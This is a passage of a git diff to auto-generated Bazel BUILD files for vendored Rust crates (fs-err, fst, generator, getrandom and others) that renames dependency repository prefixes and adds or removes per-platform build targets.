+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.1.5",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fs-err-2.11.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fs-err-2.11.0.bazel
index 680fded6c546..59751efc4aa0 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fs-err-2.11.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fs-err-2.11.0.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "2.11.0",
     deps = [
-        "@vendor__fs-err-2.11.0//:build_script_build",
+        "@vendor_ts__fs-err-2.11.0//:build_script_build",
     ],
 )
 
@@ -134,7 +134,7 @@ cargo_build_script(
     version = "2.11.0",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__autocfg-1.4.0//:autocfg",
+        "@vendor_ts__autocfg-1.4.0//:autocfg",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fsevent-sys-4.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fsevent-sys-4.1.0.bazel
index 5b280ccfeb80..fa1103d4e4ab 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fsevent-sys-4.1.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fsevent-sys-4.1.0.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "4.1.0",
     deps = [
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fst-0.4.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fst-0.4.7.bazel
index e358007c5fd3..d0d00bc09926 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fst-0.4.7.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.fst-0.4.7.bazel
@@ -85,7 +85,7 @@ rust_library(
     }),
     version = "0.4.7",
     deps = [
-        "@vendor__fst-0.4.7//:build_script_build",
+        "@vendor_ts__fst-0.4.7//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel
new file mode 100644
index 000000000000..bf828ac701be
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel
@@ -0,0 +1,230 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "generator",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=generator",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.8.4",
+    deps = [
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__generator-0.8.4//:build_script_build",
+        "@vendor_ts__log-0.4.25//:log",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-0.58.0//:windows",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-0.58.0//:windows",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-0.58.0//:windows",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "//conditions:default": [],
+    }),
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "generator",
+    proc_macro_deps = [
+        "@vendor_ts__rustversion-1.0.20//:rustversion",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=generator",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "0.8.4",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.2.15.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.2.15.bazel
deleted file mode 100644
index 83de162212b9..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.2.15.bazel
+++ /dev/null
@@ -1,166 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "getrandom",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=getrandom",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.2.15",
-    deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:wasm32-wasip1": [
-            "@vendor__wasi-0.11.0-wasi-snapshot-preview1//:wasi",  # cfg(target_os = "wasi")
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.3.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.3.1.bazel
new file mode 100644
index 000000000000..ae0fc92ddc7c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.getrandom-0.3.1.bazel
@@ -0,0 +1,226 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "getrandom",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=getrandom",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.3.1",
+    deps = [
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__getrandom-0.3.1//:build_script_build",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "macos", target_os = "openbsd", target_os = "vita", target_os = "emscripten"))
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "ios", target_os = "visionos", target_os = "watchos", target_os = "tvos"))
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "ios", target_os = "visionos", target_os = "watchos", target_os = "tvos"))
+        ],
+        "@rules_rust//rust/platform:aarch64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(all(windows, not(target_vendor = "win7")))
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "haiku", target_os = "redox", target_os = "nto", target_os = "aix"))
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:i686-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "macos", target_os = "openbsd", target_os = "vita", target_os = "emscripten"))
+        ],
+        "@rules_rust//rust/platform:i686-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(all(windows, not(target_vendor = "win7")))
+        ],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "dragonfly", target_os = "freebsd", target_os = "hurd", target_os = "illumos", all(target_os = "horizon", target_arch = "arm")))
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "macos", target_os = "openbsd", target_os = "vita", target_os = "emscripten"))
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "ios", target_os = "visionos", target_os = "watchos", target_os = "tvos"))
+        ],
+        "@rules_rust//rust/platform:x86_64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-targets-0.52.6//:windows_targets",  # cfg(all(windows, not(target_vendor = "win7")))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(any(target_os = "dragonfly", target_os = "freebsd", target_os = "hurd", target_os = "illumos", all(target_os = "horizon", target_arch = "arm")))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(all(any(target_os = "linux", target_os = "android"), not(any(getrandom_backend = "custom", getrandom_backend = "rdrand", getrandom_backend = "rndr"))))
+        ],
+        "//conditions:default": [],
+    }),
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
